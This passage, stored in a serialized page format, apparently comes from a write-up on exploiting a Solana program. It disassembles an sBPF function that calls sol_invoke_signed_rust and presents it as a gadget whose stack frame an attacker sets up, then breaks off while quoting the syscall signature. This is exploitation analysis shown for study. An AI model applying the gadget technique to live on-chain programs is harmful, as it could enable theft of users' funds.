{__return_addr}\n",[55272],{"type":23,"tag":71,"props":55273,"children":55274},{"__ignoreMap":7},[55275,55300,55356,55407,55459,55511,55534,55582,55589,55621,55672,55730,55764,55771,55820,55850,55925,55932,55983,56029,56036,56067,56118,56148,56170,56177,56228,56273,56280,56331,56359,56380,56387],{"type":23,"tag":75,"props":55276,"children":55277},{"class":77,"line":78},[55278,55282,55286,55291,55295],{"type":23,"tag":75,"props":55279,"children":55280},{"style":94},[55281],{"type":29,"value":24896},{"type":23,"tag":75,"props":55283,"children":55284},{"style":209},[55285],{"type":29,"value":1407},{"type":23,"tag":75,"props":55287,"children":55288},{"style":94},[55289],{"type":29,"value":55290},"program",{"type":23,"tag":75,"props":55292,"children":55293},{"style":209},[55294],{"type":29,"value":1407},{"type":23,"tag":75,"props":55296,"children":55297},{"style":110},[55298],{"type":29,"value":55299},"invoke_signed_unchecked\n",{"type":23,"tag":75,"props":55301,"children":55302},{"class":77,"line":100},[55303,55308,55313,55318,55323,55328,55333,55337,55342,55347,55352],{"type":23,"tag":75,"props":55304,"children":55305},{"style":110},[55306],{"type":29,"value":55307},"100001ba8",{"type":23,"tag":75,"props":55309,"children":55310},{"style":110},[55311],{"type":29,"value":55312},"  79a278ff00000000",{"type":23,"tag":75,"props":55314,"children":55315},{"style":110},[55316],{"type":29,"value":55317},"   ldxdw",{"type":23,"tag":75,"props":55319,"children":55320},{"style":110},[55321],{"type":29,"value":55322}," r2",{"type":23,"tag":75,"props":55324,"children":55325},{"style":94},[55326],{"type":29,"value":55327},", [",{"type":23,"tag":75,"props":55329,"children":55330},{"style":110},[55331],{"type":29,"value":55332},"r10",{"type":23,"tag":75,"props":55334,"children":55335},{"style":209},[55336],{"type":29,"value":15602},{"type":23,"tag":75,"props":55338,"children":55339},{"style":237},[55340],{"type":29,"value":55341},"136",{"type":23,"tag":75,"props":55343,"children":55344},{"style":94},[55345],{"type":29,"value":55346},"] {",{"type":23,"tag":75,"props":55348,"children":55349},{"style":110},[55350],{"type":29,"value":55351},"var_88",{"type":23,"tag":75,"props":55353,"children":55354},{"style":94},[55355],{"type":29,"value":369},{"type":23,"tag":75,"props":55357,"children":55358},{"class":77,"line":121},[55359,55364,55369,55373,55378,55382,55386,55390,55394,55398,55403],{"type":23,"tag":75,"props":55360,"children":55361},{"style":110},[55362],{"type":29,"value":55363},"100001bb0",{"type":23,"tag":75,"props":55365,"children":55366},{"style":110},[55367],{"type":29,"value":55368},"  79a380ff00000000",{"type":23,"tag":75,"props":55370,"children":55371},{"style":110},[55372],{"type":29,"value":55317},{"type":23,"tag":75,"props":55374,"children":55375},{"style":110},[55376],{"type":29,"value":55377}," r3",{"type":23,"tag":75,"props":55379,"children":55380},{"style":94},[55381],{"type":29,"value":55327},{"type":23,"tag":75,"props":55383,"children":55384},{"style":110},[55385],{"type":29,"value":55332},{"type":23,"tag":75,"props":55387,"children":55388},{"style":209},[55389],{"type":29,"value":15602},{"type":23,"tag":75,"props":55391,"children":55392},{"style":237},[55393],{"type":29,"value":41043},{"type":23,"tag":75,"props":55395,"children":55396},{"style":94},[55397],{"type":29,"value":55346},{"type":23,"tag":75,"props":55399,"children":55400},{"style":110},[55401],{"type":29,"value":55402},"var_80",{"type":23,"tag":75,"props":55404,"children":55405},{"style":94},[55406],{"type":29,"value":369},{"type":23,"tag":75,"props":55408,"children":55409},{"class":77,"line":138},[55410,55415,55420,55424,55429,55433,55437,55441,55446,55450,55455],{"type":23,"tag":75,"props":55411,"children":55412},{"style":110},[55413],{"type":29,"value":55414},"100001bb8",{"type":23,"tag":75,"props":55416,"children":55417},{"style":110},[55418],{"type":29,"value":55419},"  79a468ff00000000",{"type":23,"tag":75,"props":55421,"children":55422},{"style":110},[55423],{"type":29,"value":55317},{"type":23,"tag":75,"props":55425,"children":55426},{"style":110},[55427],{"type":29,"value":55428}," r4",{"type":23,"tag":75,"props":55430,"children":55431},{"style":94},[55432],{"type":29,"value":55327},{"type":23,"tag":75,"props":55434,"children":55435},{"style":110},[55436],{"type":29,"value":55332},{"type":23,"tag":75,"props":55438,"children":55439},{"style":209},[55440],{"type":29,"value":15602},{"type":23,"tag":75,"props":55442,"children":55443},{"style":237},[55444],{"type":29,"value":55445},"152",{"type":23,"tag":75,"props":55447,"children":55448},{"style":94},[55449],{"type":29,"value":55346},{"type":23,"tag":75,"props":55451,"children":55452},{"style":110},[55453],{"type":29,"value":55454},"var_98",{"type":23,"tag":75,"props":55456,"children":55457},{"style":94},[55458],{"type":29,"value":369},{"type":23,"tag":75,"props":55460,"children":55461},{"class":77,"line":161},[55462,55467,55472,55476,55481,55485,55489,55493,55498,55502,55507],{"type":23,"tag":75,"props":55463,"children":55464},{"style":110},[55465],{"type":29,"value":55466},"100001bc0",{"type":23,"tag":75,"props":55468,"children":55469},{"style":110},[55470],{"type":29,"value":55471},"  79a570ff00000000",{"type":23,"tag":75,"props":55473,"children":55474},{"style":110},[55475],{"type":29,"value":55317},{"type":23,"tag":75,"props":55477,"children":55478},{"style":110},[55479],{"type":29,"value":55480}," r5",{"type":23,"tag":75,"props":55482,"children":55483},{"style":94},[55484],{"type":29,"value":55327},{"type":23,"tag":75,"props":55486,"children":55487},{"style":110},[55488],{"type":29,"value":55332},{"type":23,"tag":75,"props":55490,"children":55491},{"style":209},[55492],{"type":29,"value":15602},{"type":23,"tag":75,"props":55494,"children":55495},{"style":237},[55496],{"type":29,"value":55497},"144",{"type":23,"tag":75,"props":55499,"children":55500},{"style":94},[55501],{"type":29,"value":55346},{"type":23,"tag":75,"props":55503,"children":55504},{"style":110},[55505],{"type":29,"value":55506},"var_90",{"type":23,"tag":75,"props":55508,"children":55509},{"style":94},[55510],{"type":29,"value":369},{"type":23,"tag":75,"props":55512,"children":55513},{"class":77,"line":196},[55514,55519,55524,55529],{"type":23,"tag":75,"props":55515,"children":55516},{"style":110},[55517],{"type":29,"value":55518},"100001bc8",{"type":23,"tag":75,"props":55520,"children":55521},{"style":237},[55522],{"type":29,"value":55523},"  8520000020100000",{"type":23,"tag":75,"props":55525,"children":55526},{"style":110},[55527],{"type":29,"value":55528},"   call",{"type":23,"tag":75,"props":55530,"children":55531},{"style":110},[55532],{"type":29,"value":55533}," sol_invoke_signed_rust\n",{"type":23,"tag":75,"props":55535,"children":55536},{"class":77,"line":220},[55537,55542,55547,55552,55556,55560,55564,55568,55573,55577],{"type":23,"tag":75,"props":55538,"children":55539},{"style":110},[55540],{"type":29,"value":55541},"100001bd0",{"type":23,"tag":75,"props":55543,"children":55544},{"style":237},[55545],{"type":29,"value":55546},"  5500040000000000",{"type":23,"tag":75,"props":55548,"children":55549},{"style":110},[55550],{"type":29,"value":55551},"   jne",{"type":23,"tag":75,"props":55553,"children":55554},{"style":94},[55555],{"type":29,"value":749},{"type":23,"tag":75,"props":55557,"children":55558},{"style":209},[55559],{"type":29,"value":7862},{"type":23,"tag":75,"props":55561,"children":55562},{"style":237},[55563],{"type":29,"value":28751},{"type":23,"tag":75,"props":55565,"children":55566},{"style":94},[55567],{"type":29,"value":17091},{"type":23,"tag":75,"props":55569,"children":55570},{"style":110},[55571],{"type":29,"value":55572},"r0",{"type":23,"tag":75,"props":55574,"children":55575},{"style":94},[55576],{"type":29,"value":611},{"type":23,"tag":75,"props":55578,"children":55579},{"style":237},[55580],{"type":29,"value":55581},"0x0\n",{"type":23,"tag":75,"props":55583,"children":55584},{"class":77,"line":248},[55585],{"type":23,"tag":75,"props":55586,"children":55587},{"emptyLinePlaceholder":15},[55588],{"type":29,"value":276},{"type":23,"tag":75,"props":55590,"children":55591},{"class":77,"line":270},[55592,55597,55602,55607,55612,55616],{"type":23,"tag":75,"props":55593,"children":55594},{"style":110},[55595],{"type":29,"value":55596},"100001bd8",{"type":23,"tag":75,"props":55598,"children":55599},{"style":110},[55600],{"type":29,"value":55601},"  b701000018000000",{"type":23,"tag":75,"props":55603,"children":55604},{"style":110},[55605],{"type":29,"value":55606},"   mov",{"type":23,"tag":75,"props":55608,"children":55609},{"style":110},[55610],{"type":29,"value":55611}," r1",{"type":23,"tag":75,"props":55613,"children":55614},{"style":94},[55615],{"type":29,"value":611},{"type":23,"tag":75,"props":55617,"children":55618},{"style":237},[55619],{"type":29,"value":55620},"0x18\n",{"type":23,"tag":75,"props":55622,"children":55623},{"class":77,"line":279},[55624,55629,55634,55638,55642,55646,55650,55654,55659,55663,55668],{"type":23,"tag":75,"props":55625,"children":55626},{"style":110},[55627],{"type":29,"value":55628},"100001be0",{"type":23,"tag":75,"props":55630,"children":55631},{"style":110},[55632],{"type":29,"value":55633},"  79a288ff00000000",{"type":23,"tag":75,"props":55635,"children":55636},{"style":110},[55637],{"type":29,"value":55317},{"type":23,"tag":75,"props":55639,"children":55640},{"style":110},[55641],{"type":29,"value":55322},{"type":23,"tag":75,"props":55643,"children":55644},{"style":94},[55645],{"type":29,"value":55327},{"type":23,"tag":75,"props":55647,"children":55648},{"style":110},[55649],{"type":29,"value":55332},{"type":23,"tag":75,"props":55651,"children":55652},{"style":209},[55653],{"type":29,"value":15602},{"type":23,"tag":75,"props":55655,"children":55656},{"style":237},[55657],{"type":29,"value":55658},"120",{"type":23,"tag":75,"props":55660,"children":55661},{"style":94},[55662],{"type":29,"value":55346},{"type":23,"tag":75,"props":55664,"children":55665},{"style":110},[55666],{"type":29,"value":55667},"var_78",{"type":23,"tag":75,"props":55669,"children":55670},{"style":94},[55671],{"type":29,"value":369},{"type":23,"tag":75,"props":55673,"children":55674},{"class":77,"line":303},[55675,55680,55685,55690,55694,55699,55703,55707,55711,55716,55721,55726],{"type":23,"tag":75,"props":55676,"children":55677},{"style":110},[55678],{"type":29,"value":55679},"100001be8",{"type":23,"tag":75,"props":55681,"children":55682},{"style":237},[55683],{"type":29,"value":55684},"  6312000000000000",{"type":23,"tag":75,"props":55686,"children":55687},{"style":110},[55688],{"type":29,"value":55689},"   stxw",{"type":23,"tag":75,"props":55691,"children":55692},{"style":94},[55693],{"type":29,"value":34247},{"type":23,"tag":75,"props":55695,"children":55696},{"style":110},[55697],{"type":29,"value":55698},"r2",{"type":23,"tag":75,"props":55700,"children":55701},{"style":209},[55702],{"type":29,"value":15602},{"type":23,"tag":75,"props":55704,"children":55705},{"style":237},[55706],{"type":29,"value":648},{"type":23,"tag":75,"props":55708,"children":55709},{"style":94},[55710],{"type":29,"value":34275},{"type":23,"tag":75,"props":55712,"children":55713},{"style":110},[55714],{"type":29,"value":55715},"r1",{"type":23,"tag":75,"props":55717,"children":55718},{"style":94},[55719],{"type":29,"value":55720},"  {",{"type":23,"tag":75,"props":55722,"children":55723},{"style":237},[55724],{"type":29,"value":55725},"0x18",{"type":23,"tag":75,"props":55727,"children":55728},{"style":94},[55729],{"type":29,"value":369},{"type":23,"tag":75,"props":55731,"children":55732},{"class":77,"line":322},[55733,55738,55743,55748,55752,55756,55760],{"type":23,"tag":75,"props":55734,"children":55735},{"style":110},[55736],{"type":29,"value":55737},"100001bf0",{"type":23,"tag":75,"props":55739,"children":55740},{"style":237},[55741],{"type":29,"value":55742},"  0500030000000000",{"type":23,"tag":75,"props":55744,"children":55745},{"style":110},[55746],{"type":29,"value":55747},"   ja",{"type":23,"tag":75,"props":55749,"children":55750},{"style":94},[55751],{"type":29,"value":749},{"type":23,"tag":75,"props":55753,"children":55754},{"style":209},[55755],{"type":29,"value":7862},{"type":23,"tag":75,"props":55757,"children":55758},{"style":237},[55759],{"type":29,"value":28518},{"type":23,"tag":75,"props":55761,"children":55762},{"style":94},[55763],{"type":29,"value":17260},{"type":23,"tag":75,"props":55765,"children":55766},{"class":77,"line":340},[55767],{"type":23,"tag":75,"props":55768,"children":55769},{"emptyLinePlaceholder":15},[55770],{"type":29,"value":276},{"type":23,"tag":75,"props":55772,"children":55773},{"class":77,"line":349},[55774,55779,55784,55788,55792,55796,55800,55804,55808,55812,55816],{"type":23,"tag":75,"props":55775,"children":55776},{"style":110},[55777],{"type":29,"value":55778},"100001bf8",{"type":23,"tag":75,"props":55780,"children":55781},{"style":110},[55782],{"type":29,"value":55783},"  79a188ff00000000",{"type":23,"tag":75,"props":55785,"children":55786},{"style":110},[55787],{"type":29,"value":55317},{"type":23,"tag":75,"props":55789,"children":55790},{"style":110},[55791],{"type":29,"value":55611},{"type":23,"tag":75,"props":55793,"children":55794},{"style":94},[55795],{"type":29,"value":55327},{"type":23,"tag":75,"props":55797,"children":55798},{"style":110},[55799],{"type":29,"value":55332},{"type":23,"tag":75,"props":55801,"children":55802},{"style":209},[55803],{"type":29,"value":15602},{"type":23,"tag":75,"props":55805,"children":55806},{"style":237},[55807],{"type":29,"value":55658},{"type":23,"tag":75,"props":55809,"children":55810},{"style":94},[55811],{"type":29,"value":55346},{"type":23,"tag":75,"props":55813,"children":55814},{"style":110},[55815],{"type":29,"value":55667},{"type":23,"tag":75,"props":55817,"children":55818},{"style":94},[55819],{"type":29,"value":369},{"type":23,"tag":75,"props":55821,"children":55822},{"class":77,"line":363},[55823,55828,55833,55837,55841,55845],{"type":23,"tag":75,"props":55824,"children":55825},{"style":110},[55826],{"type":29,"value":55827},"100001c00",{"type":23,"tag":75,"props":55829,"children":55830},{"style":110},[55831],{"type":29,"value":55832},"  bf02000000000000",{"type":23,"tag":75,"props":55834,"children":55835},{"style":110},[55836],{"type":29,"value":55606},{"type":23,"tag":75,"props":55838,"children":55839},{"style":110},[55840],{"type":29,"value":55322},{"type":23,"tag":75,"props":55842,"children":55843},{"style":94},[55844],{"type":29,"value":611},{"type":23,"tag":75,"props":55846,"children":55847},{"style":110},[55848],{"type":29,"value":55849},"r0\n",{"type":23,"tag":75,"props":55851,"children":55852},{"class":77,"line":656},[55853,55858,55863,55867,55872,55876,55881,55885,55889,55894,55898,55902,55907,55912,55916,55920],{"type":23,"tag":75,"props":55854,"children":55855},{"style":110},[55856],{"type":29,"value":55857},"100001c08",{"type":23,"tag":75,"props":55859,"children":55860},{"style":237},[55861],{"type":29,"value":55862},"  8510000075000000",{"type":23,"tag":75,"props":55864,"children":55865},{"style":110},[55866],{"type":29,"value":55528},{"type":23,"tag":75,"props":55868,"children":55869},{"style":104},[55870],{"type":29,"value":55871}," _ZN94_",{"type":23,"tag":75,"props":55873,"children":55874},{"style":209},[55875],{"type":29,"value":21536},{"type":23,"tag":75,"props":55877,"children":55878},{"style":104},[55879],{"type":29,"value":55880},"LT",{"type":23,"tag":75,"props":55882,"children":55883},{"style":209},[55884],{"type":29,"value":21536},{"type":23,"tag":75,"props":55886,"children":55887},{"style":110},[55888],{"type":29,"value":24896},{"type":23,"tag":75,"props":55890,"children":55891},{"style":209},[55892],{"type":29,"value":55893},"...$",{"type":23,"tag":75,"props":55895,"children":55896},{"style":110},[55897],{"type":29,"value":19301},{"type":23,"tag":75,"props":55899,"children":55900},{"style":209},[55901],{"type":29,"value":21536},{"type":23,"tag":75,"props":55903,"children":55904},{"style":104},[55905],{"type":29,"value":55906},"GT",{"type":23,"tag":75,"props":55908,"children":55909},{"style":209},[55910],{"type":29,"value":55911},"$$",{"type":23,"tag":75,"props":55913,"children":55914},{"style":104},[55915],{"type":29,"value":55906},{"type":23,"tag":75,"props":55917,"children":55918},{"style":209},[55919],{"type":29,"value":21536},{"type":23,"tag":75,"props":55921,"children":55922},{"style":94},[55923],{"type":29,"value":55924},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":75,"props":55926,"children":55927},{"class":77,"line":705},[55928],{"type":23,"tag":75,"props":55929,"children":55930},{"emptyLinePlaceholder":15},[55931],{"type":29,"value":276},{"type":23,"tag":75,"props":55933,"children":55934},{"class":77,"line":787},[55935,55940,55945,55949,55953,55957,55961,55965,55970,55974,55979],{"type":23,"tag":75,"props":55936,"children":55937},{"style":110},[55938],{"type":29,"value":55939},"100001c10",{"type":23,"tag":75,"props":55941,"children":55942},{"style":110},[55943],{"type":29,"value":55944},"  79a2b8ff00000000",{"type":23,"tag":75,"props":55946,"children":55947},{"style":110},[55948],{"type":29,"value":55317},{"type":23,"tag":75,"props":55950,"children":55951},{"style":110},[55952],{"type":29,"value":55322},{"type":23,"tag":75,"props":55954,"children":55955},{"style":94},[55956],{"type":29,"value":55327},{"type":23,"tag":75,"props":55958,"children":55959},{"style":110},[55960],{"type":29,"value":55332},{"type":23,"tag":75,"props":55962,"children":55963},{"style":209},[55964],{"type":29,"value":15602},{"type":23,"tag":75,"props":55966,"children":55967},{"style":237},[55968],{"type":29,"value":55969},"72",{"type":23,"tag":75,"props":55971,"children":55972},{"style":94},[55973],{"type":29,"value":55346},{"type":23,"tag":75,"props":55975,"children":55976},{"style":110},[55977],{"type":29,"value":55978},"var_48",{"type":23,"tag":75,"props":55980,"children":55981},{"style":94},[55982],{"type":29,"value":369},{"type":23,"tag":75,"props":55984,"children":55985},{"class":77,"line":826},[55986,55991,55996,56001,56005,56009,56013,56017,56021,56025],{"type":23,"tag":75,"props":55987,"children":55988},{"style":110},[55989],{"type":29,"value":55990},"100001c18",{"type":23,"tag":75,"props":55992,"children":55993},{"style":237},[55994],{"type":29,"value":55995},"  1502040000000000",{"type":23,"tag":75,"props":55997,"children":55998},{"style":110},[55999],{"type":29,"value":56000},"   jeq",{"type":23,"tag":75,"props":56002,"children":56003},{"style":94},[56004],{"type":29,"value":749},{"type":23,"tag":75,"props":56006,"children":56007},{"style":209},[56008],{"type":29,"value":7862},{"type":23,"tag":75,"props":56010,"children":56011},{"style":237},[56012],{"type":29,"value":28751},{"type":23,"tag":75,"props":56014,"children":56015},{"style":94},[56016],{"type":29,"value":17091},{"type":23,"tag":75,"props":56018,"children":56019},{"style":110},[56020],{"type":29,"value":55698},{"type":23,"tag":75,"props":56022,"children":56023},{"style":94},[56024],{"type":29,"value":611},{"type":23,"tag":75,"props":56026,"children":56027},{"style":237},[56028],{"type":29,"value":55581},{"type":23,"tag":75,"props":56030,"children":56031},{"class":77,"line":834},[56032],{"type":23,"tag":75,"props":56033,"children":56034},{"emptyLinePlaceholder":15},[56035],{"type":29,"value":276},{"type":23,"tag":75,"props":56037,"children":56038},{"class":77,"line":881},[56039,56044,56049,56054,56058,56062],{"type":23,"tag":75,"props":56040,"children":56041},{"style":110},[56042],{"type":29,"value":56043},"100001c20",{"type":23,"tag":75,"props":56045,"children":56046},{"style":237},[56047],{"type":29,"value":56048},"  2702000022000000",{"type":23,"tag":75,"props":56050,"children":56051},{"style":110},[56052],{"type":29,"value":56053},"   mul",{"type":23,"tag":75,"props":56055,"children":56056},{"style":110},[56057],{"type":29,"value":55322},{"type":23,"tag":75,"props":56059,"children":56060},{"style":94},[56061],{"type":29,"value":611},{"type":23,"tag":75,"props":56063,"children":56064},{"style":237},[56065],{"type":29,"value":56066},"0x22\n",{"type":23,"tag":75,"props":56068,"children":56069},{"class":77,"line":3355},[56070,56075,56080,56084,56088,56092,56096,56100,56105,56109,56114],{"type":23,"tag":75,"props":56071,"children":56072},{"style":110},[56073],{"type":29,"value":56074},"100001c28",{"type":23,"tag":75,"props":56076,"children":56077},{"style":110},[56078],{"type":29,"value":56079},"  79a1b0ff00000000",{"type":23,"tag":75,"props":56081,"children":56082},{"style":110},[56083],{"type":29,"value":55317},{"type":23,"tag":75,"props":56085,"children":56086},{"style":110},[56087],{"type":29,"value":55611},{"type":23,"tag":75,"props":56089,"children":56090},{"style":94},[56091],{"type":29,"value":55327},{"type":23,"tag":75,"props":56093,"children":56094},{"style":110},[56095],{"type":29,"value":55332},{"type":23,"tag":75,"props":56097,"children":56098},{"style":209},[56099],{"type":29,"value":15602},{"type":23,"tag":75,"props":56101,"children":56102},{"style":237},[56103],{"type":29,"value":56104},"80",{"type":23,"tag":75,"props":56106,"children":56107},{"style":94},[56108],{"type":29,"value":55346},{"type":23,"tag":75,"props":56110,"children":56111},{"style":110},[56112],{"type":29,"value":56113},"var_50",{"type":23,"tag":75,"props":56115,"children":56116},{"style":94},[56117],{"type":29,"value":369},{"type":23,"tag":75,"props":56119,"children":56120},{"class":77,"line":3390},[56121,56126,56131,56135,56139,56143],{"type":23,"tag":75,"props":56122,"children":56123},{"style":110},[56124],{"type":29,"value":56125},"100001c30",{"type":23,"tag":75,"props":56127,"children":56128},{"style":110},[56129],{"type":29,"value":56130},"  b703000001000000",{"type":23,"tag":75,"props":56132,"children":56133},{"style":110},[56134],{"type":29,"value":55606},{"type":23,"tag":75,"props":56136,"children":56137},{"style":110},[56138],{"type":29,"value":55377},{"type":23,"tag":75,"props":56140,"children":56141},{"style":94},[56142],{"type":29,"value":611},{"type":23,"tag":75,"props":56144,"children":56145},{"style":237},[56146],{"type":29,"value":56147},"0x1\n",{"type":23,"tag":75,"props":56149,"children":56150},{"class":77,"line":3423},[56151,56156,56161,56165],{"type":23,"tag":75,"props":56152,"children":56153},{"style":110},[56154],{"type":29,"value":56155},"100001c38",{"type":23,"tag":75,"props":56157,"children":56158},{"style":110},[56159],{"type":29,"value":56160},"  8510000003feffff",{"type":23,"tag":75,"props":56162,"children":56163},{"style":110},[56164],{"type":29,"value":55528},{"type":23,"tag":75,"props":56166,"children":56167},{"style":110},[56168],{"type":29,"value":56169}," __rust_dealloc\n",{"type":23,"tag":75,"props":56171,"children":56172},{"class":77,"line":3436},[56173],{"type":23,"tag":75,"props":56174,"children":56175},{"emptyLinePlaceholder":15},[56176],{"type":29,"value":276},{"type":23,"tag":75,"props":56178,"children":56179},{"class":77,"line":3449},[56180,56185,56190,56194,56198,56202,56206,56210,56215,56219,56224],{"type":23,"tag":75,"props":56181,"children":56182},{"style":110},[56183],{"type":29,"value":56184},"100001c40",{"type":23,"tag":75,"props":56186,"children":56187},{"style":110},[56188],{"type":29,"value":56189},"  79a2d0ff00000000",{"type":23,"tag":75,"props":56191,"children":56192},{"style":110},[56193],{"type":29,"value":55317},{"type":23,"tag":75,"props":56195,"children":56196},{"style":110},[56197],{"type":29,"value":55322},{"type":23,"tag":75,"props":56199,"children":56200},{"style":94},[56201],{"type":29,"value":55327},{"type":23,"tag":75,"props":56203,"children":56204},{"style":110},[56205],{"type":29,"value":55332},{"type":23,"tag":75,"props":56207,"children":56208},{"style":209},[56209],{"type":29,"value":15602},{"type":23,"tag":75,"props":56211,"children":56212},{"style":237},[56213],{"type":29,"value":56214},"48",{"type":23,"tag":75,"props":56216,"children":56217},{"style":94},[56218],{"type":29,"value":55346},{"type":23,"tag":75,"props":56220,"children":56221},{"style":110},[56222],{"type":29,"value":56223},"var_30",{"type":23,"tag":75,"props":56225,"children":56226},{"style":94},[56227],{"type":29,"value":369},{"type":23,"tag":75,"props":56229,"children":56230},{"class":77,"line":3457},[56231,56236,56241,56245,56249,56253,56257,56261,56265,56269],{"type":23,"tag":75,"props":56232,"children":56233},{"style":110},[56234],{"type":29,"value":56235},"100001c48",{"type":23,"tag":75,"props":56237,"children":56238},{"style":237},[56239],{"type":29,"value":56240},"  1502030000000000",{"type":23,"tag":75,"props":56242,"children":56243},{"style":110},[56244],{"type":29,"value":56000},{"type":23,"tag":75,"props":56246,"children":56247},{"style":94},[56248],{"type":29,"value":749},{"type":23,"tag":75,"props":56250,"children":56251},{"style":209},[56252],{"type":29,"value":7862},{"type":23,"tag":75,"props":56254,"children":56255},{"style":237},[56256],{"type":29,"value":28518},{"type":23,"tag":75,"props":56258,"children":56259},{"style":94},[56260],{"type":29,"value":17091},{"type":23,"tag":75,"props":56262,"children":56263},{"style":110},[56264],{"type":29,"value":55698},{"type":23,"tag":75,"props":56266,"children":56267},{"style":94},[56268],{"type":29,"value":611},{"type":23,"tag":75,"props":56270,"children":56271},{"style":237},[56272],{"type":29,"value":55581},{"type":23,"tag":75,"props":56274,"children":56275},{"class":77,"line":3465},[56276],{"type":23,"tag":75,"props":56277,"children":56278},{"emptyLinePlaceholder":15},[56279],{"type":29,"value":276},{"type":23,"tag":75,"props":56281,"children":56282},{"class":77,"line":3473},[56283,56288,56293,56297,56301,56305,56309,56313,56318,56322,56327],{"type":23,"tag":75,"props":56284,"children":56285},{"style":110},[56286],{"type":29,"value":56287},"100001c50",{"type":23,"tag":75,"props":56289,"children":56290},{"style":110},[56291],{"type":29,"value":56292},"  79a1c8ff00000000",{"type":23,"tag":75,"props":56294,"children":56295},{"style":110},[56296],{"type":29,"value":55317},{"type":23,"tag":75,"props":56298,"children":56299},{"style":110},[56300],{"type":29,"value":55611},{"type":23,"tag":75,"props":56302,"children":56303},{"style":94},[56304],{"type":29,"value":55327},{"type":23,"tag":75,"props":56306,"children":56307},{"style":110},[56308],{"type":29,"value":55332},{"type":23,"tag":75,"props":56310,"children":56311},{"style":209},[56312],{"type":29,"value":15602},{"type":23,"tag":75,"props":56314,"children":56315},{"style":237},[56316],{"type":29,"value":56317},"56",{"type":23,"tag":75,"props":56319,"children":56320},{"style":94},[56321],{"type":29,"value":55346},{"type":23,"tag":75,"props":56323,"children":56324},{"style":110},[56325],{"type":29,"value":56326},"var_38",{"type":23,"tag":75,"props":56328,"children":56329},{"style":94},[56330],{"type":29,"value":369},{"type":23,"tag":75,"props":56332,"children":56333},{"class":77,"line":3481},[56334,56339,56343,56347,56351,56355],{"type":23,"tag":75,"props":56335,"children":56336},{"style":110},[56337],{"type":29,"value":56338},"100001c58",{"type":23,"tag":75,"props":56340,"children":56341},{"style":110},[56342],{"type":29,"value":56130},{"type":23,"tag":75,"props":56344,"children":56345},{"style":110},[56346],{"type":29,"value":55606},{"type":23,"tag":75,"props":56348,"children":56349},{"style":110},[56350],{"type":29,"value":55377},{"type":23,"tag":75,"props":56352,"children":56353},{"style":94},[56354],{"type":29,"value":611},{"type":23,"tag":75,"props":56356,"children":56357},{"style":237},[56358],{"type":29,"value":56147},{"type":23,"tag":75,"props":56360,"children":56361},{"class":77,"line":3524},[56362,56367,56372,56376],{"type":23,"tag":75,"props":56363,"children":56364},{"style":110},[56365],{"type":29,"value":56366},"100001c60",{"type":23,"tag":75,"props":56368,"children":56369},{"style":110},[56370],{"type":29,"value":56371},"  85100000fefdffff",{"type":23,"tag":75,"props":56373,"children":56374},{"style":110},[56375],{"type":29,"value":55528},{"type":23,"tag":75,"props":56377,"children":56378},{"style":110},[56379],{"type":29,"value":56169},{"type":23,"tag":75,"props":56381,"children":56382},{"class":77,"line":4890},[56383],{"type":23,"tag":75,"props":56384,"children":56385},{"emptyLinePlaceholder":15},[56386],{"type":29,"value":276},{"type":23,"tag":75,"props":56388,"children":56389},{"class":77,"line":4937},[56390,56395,56400,56405,56410,56415],{"type":23,"tag":75,"props":56391,"children":56392},{"style":110},[56393],{"type":29,"value":56394},"100001c68",{"type":23,"tag":75,"props":56396,"children":56397},{"style":237},[56398],{"type":29,"value":56399},"  9500000000000000",{"type":23,"tag":75,"props":56401,"children":56402},{"style":110},[56403],{"type":29,"value":56404},"   exit",{"type":23,"tag":75,"props":56406,"children":56407},{"style":94},[56408],{"type":29,"value":56409}," {",{"type":23,"tag":75,"props":56411,"children":56412},{"style":110},[56413],{"type":29,"value":56414},"__return_addr",{"type":23,"tag":75,"props":56416,"children":56417},{"style":94},[56418],{"type":29,"value":369},{"type":23,"tag":32,"props":56420,"children":56421},{},[56422,56424,56430],{"type":29,"value":56423},"Which, assuming that ",{"type":23,"tag":71,"props":56425,"children":56427},{"className":56426},[],[56428],{"type":29,"value":56429},"sol_invoke_signed_rust",{"type":29,"value":56431}," returns 0, is doing the following:",{"type":23,"tag":2797,"props":56433,"children":56434},{},[56435,56444,56453],{"type":23,"tag":2801,"props":56436,"children":56437},{},[56438],{"type":23,"tag":71,"props":56439,"children":56441},{"className":56440},[],[56442],{"type":29,"value":56443},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":2801,"props":56445,"children":56446},{},[56447],{"type":23,"tag":71,"props":56448,"children":56450},{"className":56449},[],[56451],{"type":29,"value":56452},"*[r10-120] = 0x18",{"type":23,"tag":2801,"props":56454,"children":56455},{},[56456,56458,56464,56466,56473],{"type":29,"value":56457},"Calls ",{"type":23,"tag":71,"props":56459,"children":56461},{"className":56460},[],[56462],{"type":29,"value":56463},"__rust_dealloc",{"type":29,"value":56465},", which in default circumstances is a ",{"type":23,"tag":940,"props":56467,"children":56470},{"href":56468,"rel":56469},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[944],[56471],{"type":29,"value":56472},"NOP",{"type":29,"value":557},{"type":23,"tag":32,"props":56475,"children":56476},{},[56477],{"type":29,"value":56478},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":32,"props":56480,"children":56481},{},[56482],{"type":29,"value":56483},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":32,"props":56485,"children":56486},{},[56487,56489,56496],{"type":29,"value":56488},"Looking at the ",{"type":23,"tag":940,"props":56490,"children":56493},{"href":56491,"rel":56492},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[944],[56494],{"type":29,"value":56495},"definition",{"type":29,"value":56497},", it's not crystal clear what the parameters are:",{"type":23,"tag":64,"props":56499,"children":56501},{"className":987,"code":56500,"language":986,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> 